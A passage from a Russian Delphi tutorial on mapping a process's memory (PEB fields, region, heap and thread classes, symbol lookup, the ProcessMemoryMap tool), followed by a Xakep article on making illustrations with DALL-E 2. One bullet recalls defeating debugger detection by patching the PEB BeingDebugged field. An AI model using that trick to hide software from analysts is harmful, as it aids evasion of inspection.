ProcessStarterHelper: PVOID;
GdiDCAttributeList: ULONG;
LoaderLock: PRTLCriticalSection;
NtMajorVersion: ULONG;
NtMinorVersion: ULONG;
NtBuildNumber: USHORT;
NtCSDVersion: USHORT;
PlatformId: ULONG;
Subsystem: ULONG;
MajorSubsystemVersion: ULONG;
MinorSubsystemVersion: ULONG;
AffinityMask: ULONG_PTR;
{$IFDEF WIN32}
GdiHandleBuffer: array [0..33] of ULONG;
{$ELSE}
GdiHandleBuffer: array [0..59] of ULONG;
{$ENDIF}
PostProcessInitRoutine: PVOID;
TlsExpansionBitmap: PVOID;
TlsExpansionBitmapBits: array [0..31] of ULONG;
SessionId: ULONG;
AppCompatFlags: ULARGE_INTEGER;
AppCompatFlagsUser: ULARGE_INTEGER;
pShimData: PVOID;
AppCompatInfo: PVOID;
CSDVersion: UNICODE_STRING;
ActivationContextData: PVOID;
ProcessAssemblyStorageMap: PVOID;
SystemDefaultActivationContextData: PVOID;
SystemAssemblyStorageMap: PVOID;
MinimumStackCommit: SIZE_T;
FlsCallback: PPVOID;
FlsListHead: LIST_ENTRY;
FlsBitmap: PVOID;
FlsBitmapBits: array [1..FLS_MAXIMUM_AVAILABLE div SizeOf(ULONG) * 8] of ULONG;
FlsHighIndex: ULONG;
WerRegistrationData: PVOID;
WerShipAssertPtr: PVOID;
pContextData: PVOID;
pImageHeaderHash: PVOID;
TracingFlags: ULONG;
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
}
CsrServerReadOnlySharedMemoryBase: ULONGLONG;
end;
```
Кстати, сравните эту структуру с той, что [официально доступна в MSDN](http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx).
Для Window 2000/XP/2003 будут небольшие изменения, но не сильно критичные.
Расписывать каждое поле я не буду, те кто работают с PEB и так знают? что именно им нужно, но на некоторых полях я заострю ваше внимание.
Итак:
* Поле BeingDebugged — [в третьей части статьи об отладчике](http://habrahabr.ru/post/178183/) я показывал один из вариантов обхода детектирования оного посредством патча памяти приложения. Суть подхода заключалась как раз в определении адреса PEB и изменения значения параметра BeingDebugged на ноль, после чего функция IsDebuggerPresent, ориентирующаяся на данное поле, начинала возвращать False, говоря о том? что отладчика она не обнаружила.
* Поле ImageBaseAddress — указывает на hInstance приложения (оно может не совпадать с полем ImageBase в PE заголовке).
* LoaderData — указатель на данные о загруженных модулях, в нем хранится достаточно полезная информация для тех, кто строит защиту приложения самостоятельно, но, к сожалению, пока что это выходит за рамки данной статьи. На этом поле я остановлюсь чуть подробнее, когда увидит свет статья о детектировании инжекта в ваше приложение :)
* ProcessParameters — откуда берут информацию ParamStr/GetCurrentDir и т.п. функции? Именно отсюда. Здесь же сидит адрес переменных окружения.
* А еще мы можем узнать сервиспак системы, не дергая реестр, в этом нам поможет поле CSDVersion. Да, впрочем, поля NtMajorVersion/NtMinorVersion/NtBuildNumber говорят сами за себя.
Ну и так далее — продолжать можно долго.
Большинство данных полей занимают свои страницы в адресном пространстве процесса. К примеру, ProcessParameters обычно сидит в одной из куч, созданных загрузчиком, переменные окружения расположены тоже где-то в том районе.
Если мы хотим визуализировать все это (а к этому я и веду), эти данные мы должны иметь на руках, чтобы было что отобразить в финальном приложении.
Согласитесь, гораздо приятней иметь на руках вместо некоего блока бинарных данных что-то в виде такого:
А ведь есть еще и KUSER\_SHARED\_DATA.
Это тоже структура используемая системой, и вы постоянно встречаетесь с ней, вызывая тот же GetTickCount или IsProcessorFeaturePresent.
К примеру, NtSystemRoot сидит именно в ней, да и, опять же, зачем все перечислять, проще увидеть:
* Хотите узнать, что за процесс активен без вызова GetForegroundWindow – читайте ConsoleSessionForegroundProcessId.
* Вам пытаются подсунуть левую версию Win, чтобы отключилась часть системы защиты, не рассчитанная на предыдущие OS? Читайте актуальные значения из полей NtMajorVersion/NtMinorVersion...
Впрочем, пожалуй, здесь мы пока и остановимся…
#### 6. TRegionData
На этом теоретическая часть закончилась и пришла пора применить это все на практике.
Прежде всего нужно определиться с тем, каким образом хранить информацию о регионах. Готовясь к статье, я написал набор классов, выделенных в общее пространство имен «MemoryMap», их вы сможете найти в [составе демо-примеров](http://rouse.drkb.ru/blog/pmm2.zip).
> ВАЖНО!!!
>
> Данный набор классов разработан с учетом нововведений, присутствующих в Delphi XE4, под более старыми версиями Delphi его работоспособность не проверялась и не гарантируется.
Информацию по каждому региону будет хранить класс TRegionData, реализованный в модуле «MemoryMap.RegionData.pas».
Выглядит он примерно следующим образом (в процессе развития проекта декларация класса может меняться).
```
TRegionData = class
private
FParent: TRegionData;
FRegionType: TRegionType;
FMBI: TMemoryBasicInformation;
FDetails: string;
FRegionVisible: Boolean;
FHiddenRegionCount: Integer;
FTotalRegionSize: NativeUInt;
FHeap: THeapData;
FThread: TThreadData;
FPEBData: TSystemData;
FSection: TSection;
FContains: TList;
FDirectories: TList;
FShared: Boolean;
FSharedCount: Integer;
FFiltered: Boolean;
protected
...
public
constructor Create;
destructor Destroy; override;
property RegionType: TRegionType read FRegionType;
property MBI: TMemoryBasicInformation read FMBI;
property Details: string read FDetails;
property RegionVisible: Boolean read FRegionVisible;
property HiddenRegionCount: Integer read FHiddenRegionCount;
property Parent: TRegionData read FParent;
property TotalRegionSize: NativeUInt read FTotalRegionSize;
property Heap: THeapData read FHeap;
property Thread: TThreadData read FThread;
property SystemData: TSystemData read FPEBData;
property Section: TSection read FSection;
property Directory: TList read FDirectories;
property Contains: TList read FContains;
end;
```
По порядку:
Каждый регион, как правило, хранит в себе данные одного типа.
Т.е. для куч, стеков потоков, PE файлов, выделяется свой собственный регион страниц.
За хранение типа региона отвечает свойство RegionType. Это перечислимый тип, объявленный следующим образом:
```
// Тип региона
TRegionType = (
rtDefault,
rtHeap, // регион содержит элементы кучи
rtThread, // регион содержит стек потока или TEB
rtSystem, // регион содержит системные данные (PEB/KUSER_SHARED_DATA и т.п.)
rtExecutableImage // регион содержит образ исполняемого PE файла
);
```
Параметры региона, полученные при помощи вызова VirtualQueryEx хранятся в поле MBI.
Краткое описание региона хранится в Details. В нем можно хранить все что угодно, к примеру путь к отображенному PE файлу, если таковой присутствует, строковое описание ID потока и т.п…
Следующие три параметра используются для организации древовидной структуры.
Один из регионов является корневым узлом (рутом), остальные дочерние.
Флаг RegionVisible указывает на то, является ли регион корневым узлом.
Свойство HiddenRegionCount содержит в себе количество подрегионов (AllocationBase которых равен BaseAddress рута).
Ну а параметр Parent хранит ссылку на рута.
Сделано не совсем оптимально, можно было бы организовать и классическое дерево, но на текущий момент банально нет времени переделывать, может быть, когда-нибудь потом :)
TotalRegionSize содержит в себе общий размер всех подрегионов, включая рутовый.
В случае, если регион содержит кучу, данные о первом ее элементе помещаются в параметр Heap, представляющий из себя следующую структуру:
```
THeapEntry = record
Address: ULONG_PTR;
Size: SIZE_T;
Flags: ULONG;
end;
THeapData = record
ID: DWORD;
Wow64: Boolean;
Entry: THeapEntry;
end;
```
Остальные элементы кучи, расположенные в рамках региона, размещаются в поле Contains.
Вообще поле Contains может содержать данные многих типов.
```
TContainItemType = (itHeapBlock, itThreadData,
itStackFrame, itSEHFrame, itSystem);
TContainItem = record
ItemType: TContainItemType;
function Hash: string;
case Integer of
0: (Heap: THeapData);
1: (ThreadData: TThreadData);
2: (StackFrame: TThreadStackEntry);
3: (SEH: TSEHEntry);
4: (System: TSystemData);
end;
```
Далее идет поле Thread, в нем хранится информация о потоке, который использует регион для хранения собственных данных.
```
type
TThreadInfo = (tiNoData, tiExceptionList, tiStackBase,
tiStackLimit, tiTEB, tiThreadProc);
type
TThreadData = record
Flag: TThreadInfo;
ThreadID: Integer;
Address: Pointer;
Wow64: Boolean;
end;
```
Если данных о потоке в пределах региона много (например список SEH фреймов или CallStack потока), они также помещаются в поле Contains.
Данные из системных структур (поля структур PEB/TEB и т.п.) помещаются в поле SystemData, представляющее из себя запись из адреса данных и их описания.
Также эти данные могут быть помещены в поле Contains.
Если регион принадлежит одной из секций PE файла, данные о секции размещаются в параметре Section. Ну а список директорий файла размещается в поле Directory.
Вот как-то так вкратце. Теперь для представления данных о карте памяти процесса нам необходимо получить список регионов, создать для каждого из них экземпляр класса TRegionData и инициализировать поля созданного объекта требуемой информацией.
За это отвечает класс TMemoryMap…
#### 7. TMemoryMap
Данный класс реализован в модуле «MemoryMap.Core.pas».
Задача его сводится буквально к трем основным этапам:
1. Получению списка всех выделенных регионов в памяти указанного приложения, данных по нитям/кучам/загруженным образам и т.п..
2. Созданию списка TRegionData и заполнению его полей полученной информацией.
3. Сохранение/загрузка данных, фильтрация данных.
На практике все выглядит несколько сложнее.
Основная процедура сбора информации выглядит вот так:
```
function TMemoryMap.InitFromProcess(PID: Cardinal;
const ProcessName: string): Boolean;
var
ProcessLock: TProcessLockHandleList;
begin
Result := False;
FRegions.Clear;
FModules.Clear;
FFilter := fiNone;
ProcessLock := nil;
// Открываем процесс на чтение
FProcess := OpenProcess(
PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
False, PID);
if FProcess = 0 then
RaiseLastOSError;
try
FPID := PID;
FProcessName := ProcessName;
// определяем битность процесса
FProcess64 := False;
{$IFDEF WIN64}
if not IsWow64(FProcess) then
FProcess64 := True;
{$ELSE}
// если наше приложение 32 битное, а исследуемый процесс 64-битный
// кидаем исключение
if Is64OS and not IsWow64(FProcess) then
raise Exception.Create('Can''t scan process.');
{$ENDIF}
// проверяем необходимость суспенда процесса
if SuspendProcessBeforeScan then
ProcessLock := SuspendProcess(PID);
try
FSymbols := TSymbols.Create(FProcess);
try
FPEImage := TPEImage.Create;
try
FWorkset := TWorkset.Create(FProcess);;
try
// получаем данные по регионам и отмапленым файлам
GetAllRegions;
finally
FWorkset.Free;
end;
{$IFDEF WIN64}
// если есть возможность получаем данные о 32 битных кучах
AddWow64HeapsData;
{$ENDIF}
// добавляем данные о потоках
AddThreadsData;
// добавляем данные о кучах
AddHeapsData;
// добавляем данные о Process Environment Block
AddPEBData;
// добавляем данные о загруженых PE файлах
AddImagesData;
finally
FPEImage.Free;
end;
finally
FSymbols.Free;
end;
finally
if SuspendProcessBeforeScan then
ResumeProcess(ProcessLock);
end;
// сортируем
SortAllContainsBlocks;
// считаем общую информацию о регионах
CalcTotal;
// применяем текущий фильтр
UpdateRegionFilters;
finally
CloseHandle(FProcess);
end;
end;
```
Примерный код процедур GetAllRegions/AddThreadsData/AddHeapsData и AddImagesData я приводил в первых четырех главах и на нем я заострять внимание не буду, а вот с остальным желательно разобраться.
Самым первым шагом после открытия процесса происходит определение битности процесса.
Это необходимо по той причине, что в случае, если битности процессов (текущего и по которому мы получаем информацию), не совпадают, то нужно предпринять некоторые дополнительные действия.
Общая схема такая:
1. 32-битный процесс может получить данные по 32-битному под 32-битной ОС в полном объеме.
2. 64-битный процесс может получить данные по 64-битному в полном объеме.
3. 32-битный процесс **НЕ МОЖЕТ** получить данные по 64-битному.
4. 32-битный процесс может получить данные по 32-битному под 64-битной ОС, **но частично**.
5. 64-битный процесс может получить данные по 32-битному, **но частично**.
Если с первыми двумя пунктами все ясно, то остальные три рассмотрим поподробнее.
Причина того что 32-битный процесс не сможет получить данные по 64-битному простая: не позволит размер указателя, плюс ReadProcessMemory периодически будет выдавать ошибку ERROR\_PARTIAL\_COPY.
А вот с получением данных из 32-битного процесса в 64-битной ОС все гораздо хитрее.
Как я говорил ранее, в 32-битном приложении загружены четыре 64-битные библиотеки, которые создают свои кучи/потоки.
Если мы будем получать список куч и потоков из 32-битного приложения, то увидим данные только относящиеся к 32 битам, данные по 64-битным аналогам получить не удастся.
То же будет и в случае запроса данных о 32-битном процессе из 64-битного, вернутся только данные, относящиеся к 64 битам. Хотя в этом случае есть вариант получить их частично.
В частности, доступ к 32-битному PEB производится вызовом такой функции:
```
const
ProcessWow64Information = 26;
...
NtQueryInformationProcess(FProcess, ProcessWow64Information,
@FPebWow64BaseAddress, SizeOf(ULONG_PTR), @ReturnLength)
```
Доступ к 32-битному TEB можно получить, считав адрес из 64-битного TEB, который хранится в параметре NtTIB.ExceptionList.
```
// в 64 битном TEB поле TIB.ExceptionList указывает на начало Wow64TEB
if not ReadProcessMemory(hProcess,
TIB.ExceptionList, @WOW64_NT_TIB, SizeOf(TWOW64_NT_TIB),
lpNumberOfBytesRead) then Exit;
```
Получить контекст 32-битного потока для раскрутки CallStack можно вот таким кодом:
```
const
ThreadWow64Context = 29;
...
ThreadContext^.ContextFlags := CONTEXT_FULL;
if NtQueryInformationThread(hThread, ThreadWow64Context, ThreadContext,
SizeOf(TWow64Context), nil) <> STATUS_SUCCESS then Exit;
```
Либо вызовом функции Wow64GetThreadContext.
А вот как получить данные о 32-битных кучах из 64-битного процесса легальным способом, мне неизвестно. Единственный вариант, который я применяю сейчас, это передача команды 32-битному процессу, который собирает данные о 32-битных кучах и отдает их обратно в 64-битный (примерно этим и занимается обработчик в функции AddWow64HeapsData).
Теперь, когда с определением битности процесса и для чего это нужно, разобрались, пойдем дальше, а именно к вызову функции SuspendProcess.
По-хорошему, это нужно только для того, чтобы данные в удаленном процессе не изменились на неактуальные в момент их чтения. Правда, обычно я применяю этот набор классов в двух случаях, для своего собственного приложения или для приложения находящегося под отладчиком. В обоих случаях замораживать потоки не нужно, но если анализируется какое-то стороннее приложение, то почему бы и нет?
После заморозки удаленного процесса создаются три вспомогательных класса.
1. TSymbols — о нем я расскажу в следующей главе.
2. TPEImage — этот класс содержит в себе методы, позволяющие получить информацию о PE файле, описанные в четвертой главе. Сделан исключительно для удобства.
3. TWorkset — еще один вспомогательный класс, задача которого получить информацию об общедоступной памяти.
По сути, TWorkset хранит в себе список структур вида:
```
TShareInfo = record
Shared: Boolean;
SharedCount: Byte;
end;
```
Эти структуры хранятся в словаре и каждая ассоциируется с конкретным адресом страницы.
Параметры простые:
* Shared — является ли страница общедоступной
* SharedCount — сколько ссылок есть на страницу
Получаются эти данные следующим способом, в котором все сводится к вызову функции QueryWorkingSet:
```
procedure TWorkset.InitWorksetData(hProcess: THandle);
const
{$IFDEF WIN64}
AddrMask = $FFFFFFFFFFFFF000;
{$ELSE}
AddrMask = $FFFFF000;
{$ENDIF}
SharedBitMask = $100;
SharedCountMask = $E0;
function GetSharedCount(Value: ULONG_PTR): Byte; inline;
begin
Result := (Value and SharedCountMask) shr 5;
end;
var
WorksetBuff: array of ULONG_PTR;
I: Integer;
ShareInfo: TShareInfo;
begin
SetLength(WorksetBuff, $400000);
while not QueryWorkingSet(hProcess, @WorksetBuff[0],
Length(WorksetBuff) * SizeOf(ULONG_PTR)) do
SetLength(WorksetBuff, WorksetBuff[0] * 2);
for I := 0 to WorksetBuff[0] - 1 do
begin
ShareInfo.Shared := WorksetBuff[I] and SharedBitMask <> 0;
ShareInfo.SharedCount := GetSharedCount(WorksetBuff[I]);
try
FData.Add(Pointer(WorksetBuff[I] and AddrMask), ShareInfo);
except
on E: EListError do ;
else
raise;
end;
end;
end;
```
Данная функция возвращает массив ULONG\_PTR, каждый элемент которого хранит данные следующим образом: первые пять бит хранят в себе атрибуты защиты страницы; следующие три бита – количество процессов, которым доступна данная страница; еще один бит указывает общедоступность страницы; ну и далее идет адрес самой страницы.
Более подробно можно прочитать тут: [PSAPI\_WORKING\_SET\_BLOCK](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684902(v=vs.85).aspx).
По сути, это просто информационный класс, ни больше ни меньше.
Впрочем, вернемся к нашему коду.
Следующими шагами идут:
1. GetAllRegions — аналог кода из первой главы.
2. AddThreadsData — аналог кода из второй главы.
3. AddHeapsData — аналог кода из третьей главы.
4. AddPEBData — вывод данных о структуре из пятой главы.
5. AddImagesData — аналог кода из четвертой главы.
Как видите, все интересное я уже рассказал (ну почти) :)
Оставшиеся шаги не интересны, за исключением вызова UpdateRegionFilters.
Он выполняет утилитарную функцию, а именно исключает из списка ненужные на текущий момент регионы (ну, к примеру, убирает регионы с невыделенной памятью и т.п).
Данная процедура будет вызываться постоянно при изменении фильтра через свойство Filter.
Впрочем, все это вы сможете при желании увидеть из кода самого класса.
Работать с ним достаточно просто:
```
var
AMemoryMap: TMemoryMap;
M: TMemoryStream;
I: Integer;
begin
try
M := TMemoryStream.Create;
try
// Создаем класс
AMemoryMap := TMemoryMap.Create;
try
// получаем текущую карту памяти
AMemoryMap.InitFromProcess(GetCurrentProcessId, '');
// сохраняем ее,
AMemoryMap.SaveToStream(M);
// тут можно прикрутить дампы регионов и все что душе угодно
finally
AMemoryMap.Free;
end;
// тут якобы передали данные куда-то, теперь загружаем их и работаем
M.Position := 0;
// Создаем класс
AMemoryMap := TMemoryMap.Create;
try
// загружаем данные
AMemoryMap.LoadFromStream(M);
// убираем вообще все фильтры
AMemoryMap.Filter := fiNone; // не обязательно
// говорим отображать регионы с невыделенной памятью
AMemoryMap.ShowEmpty := True;
// выводим список регионов
for I := 0 to AMemoryMap.Count - 1 do
Writeln(NativeUInt(AMemoryMap[I].MBI.BaseAddress));
finally
AMemoryMap.Free;
end;
finally
M.Free;
end;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
Readln;
end.
```
Как говорится, писал сам для себя, поэтому и работать с этим классом проще простого :)
#### 8. TSymbols — работа с символами
Суть данного класса заключается в получении более подробной информации об адресе в процессе. Ну, к примеру, во второй главе мы получали CallStack потока (или обработчики SEH фреймов) и это были просто некие адреса. Но гораздо интереснее вместо сухих чисел видеть что-то наподобие этой картинки:
Делается это очень просто — достаточно вызова функции SymGetSymFromAddr, но есть несколько нюансов.
Давайте сначала посмотрим на код:
```
function TSymbols.GetDescriptionAtAddr(Address, BaseAddress: ULONG_PTR;
const ModuleName: string): string;
const
BuffSize = $7FF;
{$IFDEF WIN64}
SizeOfStruct = SizeOf(TImagehlpSymbol64);
MaxNameLength = BuffSize - SizeOfStruct;
var
Symbol: PImagehlpSymbol64;
Displacement: DWORD64;
{$ELSE}
SizeOfStruct = SizeOf(TImagehlpSymbol);
MaxNameLength = BuffSize - SizeOfStruct;
var
Symbol: PImagehlpSymbol;
Displacement: DWORD;
{$ENDIF}
begin
Result := '';
if not FInited then Exit;
GetMem(Symbol, BuffSize);
try
Symbol^.SizeOfStruct := SizeOfStruct;
Symbol^.MaxNameLength := MaxNameLength;
Symbol^.Size := 0;
SymLoadModule(FProcess, 0, PAnsiChar(AnsiString(ModuleName)),
nil, BaseAddress, 0);
try
if SymGetSymFromAddr(FProcess, Address, @Displacement, Symbol) then
Result := string(PAnsiChar(@(Symbol^).Name[0])) + ' + 0x' + IntToHex(Displacement, 4)
else
begin
// с первой попытки может и не получиться
SymLoadModule(FProcess, 0, PAnsiChar(AnsiString(ModuleName)), nil, BaseAddress, 0);
if SymGetSymFromAddr(FProcess, Address, @Displacement, Symbol) then
Result := string(PAnsiChar(@(Symbol^).Name[0])) + ' + 0x' + IntToHex(Displacement, 4);
end;
finally
SymUnloadModule(FProcess, BaseAddress);
end;
finally
FreeMem(Symbol);
end;
if Result = '' then
Result := ExtractFileName(ModuleName) + ' + 0x' + IntToHex(Address - BaseAddress, 1);
end;
```
Для правильного получения описания имени функции, которой принадлежит адрес, необходимо знать путь к библиотеке, которой принадлежит функция, либо адрес, по которому данная библиотека подгружена (в коде используются оба параметра). Эти параметры необходимы для функции SymLoadModule.
Второй нюанс заключается в том, что вызов функции SymGetSymFromAddr иногда может завершиться неуспешно. Причина мне не ясна, но в интернете периодически описывают данную ситуацию и как решение её — повторный вызов функции SymLoadModule без вызова SymUnloadModule. В таком странном поведении не разбирался – но действительно помогает.
Последний из нюансов заключается в том, что данная функция вернет валидное описание адреса только тогда, когда эта информация присутствует (загружены символы из внешнего файла или они есть в составе искомого модуля).
Эта информация не является сильно важной при отладке, но немного ее упрощает.
Вот так, к примеру, выглядит стандартный стек потока браузера Chrome (CallStack + SEH фреймы):
Более полезная информация, которую могут предоставить символы, это список экспортируемых функций библиотеки и их текущие адреса.
В классе TSymbols эта информация получается вызовом процедуры GetExportFuncList и выглядит следующим образом:
```
function SymEnumsymbolsCallback(SymbolName: LPSTR; SymbolAddress: ULONG_PTR;
SymbolSize: ULONG; UserContext: Pointer): Bool; stdcall;
var
List: TStringList;
begin
List := UserContext;
List.AddObject(string(SymbolName), Pointer(SymbolAddress));
Result := True;
end;
procedure TSymbols.GetExportFuncList(const ModuleName: string;
BaseAddress: ULONG_PTR; Value: TStringList);
begin
SymLoadModule(FProcess, 0, PAnsiChar(AnsiString(ModuleName)),
nil, BaseAddress, 0);
try
if not SymEnumerateSymbols(FProcess, BaseAddress,
@SymEnumsymbolsCallback, Value) then
begin
SymLoadModule(FProcess, 0, PAnsiChar(AnsiString(ModuleName)),
nil, BaseAddress, 0);
SymEnumerateSymbols(FProcess, BaseAddress,
@SymEnumsymbolsCallback, Value)
end;
finally
SymUnloadModule(FProcess, BaseAddress);
end;
end;
```
Все сводится к вызову SymEnumerateSymbols, которой передается адрес функции обратного вызова.
При ее вызове параметр SymbolName будет содержать имя экспортируемой функции, а SymbolAddress ее адрес.
Этого вполне достаточно для того, чтобы отобразить пользователю вот такую табличку:
Более подробно реализацию данного класса, включая опущенные вызовы SymSetOptions и SymInitialize, вы сможете увидеть в модуле «MemoryMap.Symbols.pas».
#### 9. ProcessMemoryMap
Ну вот мы подошли и к заключительной части статьи.
Как я и говорил ранее, я использую набор классов MemoryMap в двух вариантах:
1. Интегрируя его в вывод EurekaLog посредством перекрытия ее обработчика OnAttachedFilesRequest, где добавляю текущую карту процесса актуальную на момент возникновения исключения, и дампы всех Private регионов (страниц, не ассоциированных с определенными данными, имеющих флаг MEM\_PRIVATE) и стеков потоков, плюс часть информации из PEB. Обычно этого достаточно для разбора причин возникновения ошибки.
2. Использую как альтернативный инструмент для анализа отлаживаемого приложения.
Для второго варианта была реализована отдельная утилита, которая работает непосредственно с классами MemoryMap, плюс добавляет некий дополнительный функционал.
Описывать ее исходный код я не буду, пройдусь только немного по функционалу.
С интерфейсной части она практически один в один напоминает VMMap. Впрочем, так и планировалось изначально, ибо такой интерфейс наиболее удобен для анализа.
В верхней части расположен список с общей информацией по регионам, сгруппированным по их типам, он же является фильтром.
На текущий момент она представляет следующий функционал:
1. Просмотр содержимого памяти по указанному адресу (Ctrl+Q).
Этот функционал, в принципе, присутствует в отладчике Delphi в окне CPU View, но возможностей у этого режима гораздо больше. К примеру, в случае просмотра поля PEB, будут выводится данные в другом виде:
Вот так будет выглядеть блок параметров процесса:
Ну и так далее. Всего на данный момент утилита может выводить размапленные данные по следующим структурам:
* PEB — Process Environment Block (32/64)
* TEB — Thread Environment Block (32/64)
* KUSER\_SHARED\_DATA
* PE Header (IMAGE\_DOS\_HEADER / IMAGE\_NT\_HEADER / IMAGE\_FILE\_HEADER / IMAGE\_OPTIONAL\_HEADER(32/64) / IMAGE\_DATA\_DIRECTORY / IMAGE\_SECTION\_HEADERS)
* Process Parameters (32/64)
Этот список не окончательный, периодически в него будут добавляться новые структуры.
2. Поиск данных в памяти процесса (Ctrl+F):
Этот функционал в отладчике Delphi, к сожалению, отсутствует.
Поиск можно производить как по Ansi, так и по Unicode строке, либо просто по абстрактному HEX буферу. При поиске можно указывать адрес начала поиска, а так же флаг, указывающий на необходимость поиска в страницах, доступ к которым возможен только на чтение.
Результат выводится в виде окна с дампом памяти, показанного выше.
3. Компаратор двух карт памяти. Включается в настройках.
Позволяет найти отличия между двумя картами памяти и выводит их в виде текста.
Сравниваются только сами карты, а не данные. Т.е. если по какому-то адресу изменились 4 байта, это изменение не отобразится. Но вот в том случае, если изменился размер региона, удалилась куча, выгрузился/загрузился файл и т.п. — все это будет отображено в результатах сравнения.
Сравнивать можно как текущий снимок карты с сохраненным ранее, так и при обновлении снимка по горячей клавише F5.
4. Дамп памяти.
Также отсутствующий в отладчике Delphi функционал. Позволяет сохранить на диск содержимое памяти указанного региона либо данные с указанного адреса.
5. Вывод всех доступных экспортируемых функций из всех библиотек, подгруженных в анализируемый процесс (Ctrl+E).
А также быстрый поиск функции по ее наименованию или адресу.
Пока что текущего функционала для меня лично достаточно, и новый я не добавлял, но в перспективе данная утилита будет развиваться.
ProcessMemoryMap является OpenSource проектом.
Ее последний стабильный релиз всегда доступен по ссылке: <http://rouse.drkb.ru/winapi.php#pmm2>
GitHub репозиторий с последними изменениями кода можно обнаружить здесь: <https://github.com/AlexanderBagel/ProcessMemoryMap>
Прямая ссылка на исходный код: <https://github.com/AlexanderBagel/ProcessMemoryMap/archive/master.zip>
Прямая ссылка на последнюю сборку: <http://rouse.drkb.ru/files/processmm_bin.zip>
Для самостоятельной сборки потребуется установленный пакет компонентов Virtual TreeView версии 5 и выше: <http://www.soft-gems.net/>.
**Сборка осуществляется с использованием Delphi XE4** и выше в режиме «Win32/Release», при этом автоматически будет собрана и подключена (в виде ресурса) 64-битная версия данной утилиты.
Под более старыми версиями Delphi работоспособность ProcessMemoryMap не проверялась.
#### 10. В качестве заключения
Ну что ж, надеюсь данный материал будет для вас полезен. Я, конечно, прошел только по самым вершкам, ибо если раскрывать весь материал более подробно, то объем статьи неимоверно увеличится.
Поэтому вот вам несколько ссылок, по которым вы сможете узнать немного больше информации.
Информацию о системных структурах TEB/PEB и т.п. можно найти здесь:
<http://processhacker.sourceforge.net/>
<http://redplait.blogspot.ru/>
<http://www.reactos.org/ru>
Информация о PE файлах:
<http://msdn.microsoft.com/en-us/magazine/ms809762.aspx>
Информация о SEH:
<http://msdn.microsoft.com/en-us/library/ms680657(v=VS.85).aspx>
<http://www.microsoft.com/msj/0197/exception/exception.aspx>
<http://qxov.narod.ru/articles/seh/seh.html>
Исходный код всех демо-примеров можно забрать [по данной ссылке](http://rouse.drkb.ru/blog/pmm2.zip).
Огромное СПАСИБО форуму [«Мастера Дельфи»](http://www.delphimaster.ru/) за неоднократную помощь в подготовке статьи.
Персональное спасибо за вычитку материала Дмитрию aka «брат Птибурдукова», Андрею Васильеву aka «Inovet», а также Сергею aka «Картман».
Удачи. | https://habr.com/ru/post/202242/ | null | ru | null |
# «Хакер»: Как мы с DALL-E 2 делали картинки к статьям
DALL-E 2 — нейросеть, которая рисует картинки по текстовому запросу. Гулявшие в этом году примеры работы с ней просто поражают: иногда она рисует, как настоящий художник, и еще и предлагает варианты на выбор! С августа этого года мы периодически использовали DALL-E 2, чтобы генерировать заглавные картинки к статьям «Хакера», и сегодня я покажу, как это было.
> «[Хакер](https://xakep.ru)» — легендарный журнал об информационной безопасности. [Оформив подписку](https://xakep.ru/about-magazine/) на [Xakep.ru](http://Xakep.ru), ты сможешь скачать любой вышедший номер в виде PDF и получишь доступ к огромной базе материалов о пентестинге, защите данных и компьютерных трюках. Каждая подписка помогает поддержать команду авторов и редакторов.
>
>
Проблема иллюстраций к статьям у нас стоит давно: изображения с фотостоков обычно скучные, а по теме информационной безопасности вообще тоска смертная — бесконечные хакеры в капюшонах и летающие полупрозрачные буквы. Нанимать иллюстратора, который выдавал бы по картинке в день, — слишком накладно. В итоге выкручиваемся как можем.
Мысль генерировать картинки при помощи нейросети меня сразу же захватила: это быстро, можно (в теории!) изобразить именно то, что хотел, а если результат будет несовершенным, то пускай это будет фирменной фичей, этаким признаком того, что мы тут уже живем в будущем.
Как только я увидел картинки, сгенерированные нейросетью DALL-E 2, я открыл рабочий чат и объявил, что нам срочно нужна эта штука. В июле доступ раздали миллиону ждущих в очереди, и одному из наших сотрудников повезло (спасибо ему огромное, что поделился доступом!).
С того момента я два месяца упражнялся в создании картинок при помощи нейросети и снабжал ими статьи «Хакера». Перебор вариантов стал в редакции регулярным увеселением, которым я хочу поделиться и с читателями.
**Статья:** [Уроки форензики. Исследуем дампы и ищем следы взлома в системе](https://xakep.ru/2022/11/03/cyberdefenders-pwned-dc/)
**Идея:** пускай Шерлок Холмс или человек, похожий на него, изучает жесткий диск.
```
sherlock holmes inspecting a hard drive
```
Увы, у DALL-E 2 плоховато и с лицами, и с точным изображением устройств. Ничего не подходит.
С реалистичными людьми связываться не хочется, тогда пускай это будет детектив Пикачу!
```
detective pikachu inspecting a hard drive in a hi-tech room
```
Ах да, DALL-E 2, скорее всего, ничего не знает про детектива Пикачу, потому что не видела коммерческих картинок с рекламой фильма. Зато видела мягкие игрушки Пикачу, поэтому у нас есть мягкая игрушка, но без шапки Шерлока. В любом случае на всех картинках он делает что-то странное. На расследование не тянет.
Возвращаемся к идее с Шерлоком, но попробуем сделать его мультяшным.
```
cartoon sherlock holmes inspecting a hard drive in a tech room
```
Последний вроде бы симпатичный, но превратить это в горизонтальную картинку будет сложно. Остальные держат очень странные предметы.
А что, если сделать фото, но из старой газеты? Это поможет скрыть недостатки, да и детектив будет более узнаваемым.
```
old newspaper photo of sherlock holmes inspecting a hard drive
```
Последнего берем! Разве что бровь странноватая, но идеала все равно не добиться.
Мучения
-------
Говорят, чтобы нарисовать приличную картинку при помощи DALL-E 2, нужно сделать в среднем 30–50 запросов, а если требуется что-то действительно выдающееся, то счет может пойти на сотни. Мы обычно ограничивались двумя-тремя запросами, хотя в некоторых случаях поиски растягивались до пяти-восьми. Главное — вовремя отказаться от слишком смелой идеи.
**Статья:** [Сканим на Python. Как написать и улучшить собственный сканер портов](https://xakep.ru/2022/09/27/python-scanner/)
**Идея:** сканер, сканер... Первая ассоциация — сканер штрих-кодов на кассе. А кассира для смеха попробуем сделать змеей в парике.
```
cashier is a snake in a wig holding a barcode scanner in its tail
```
Что просил, то, в целом, и получил. Кажется, идея слишком сложная, поэтому сделаем попрямолинейнее. Пусть питон будет инспектировать сервер. Скажем, держать в хвосте увеличительное стекло.
```
digital art of a python with a magnifying glass in its tail in a server room inspecting a server
```
Рука-хвост — ого-го! Все остальное тоже не годится. Попробуем сделать питона мультяшным.
```
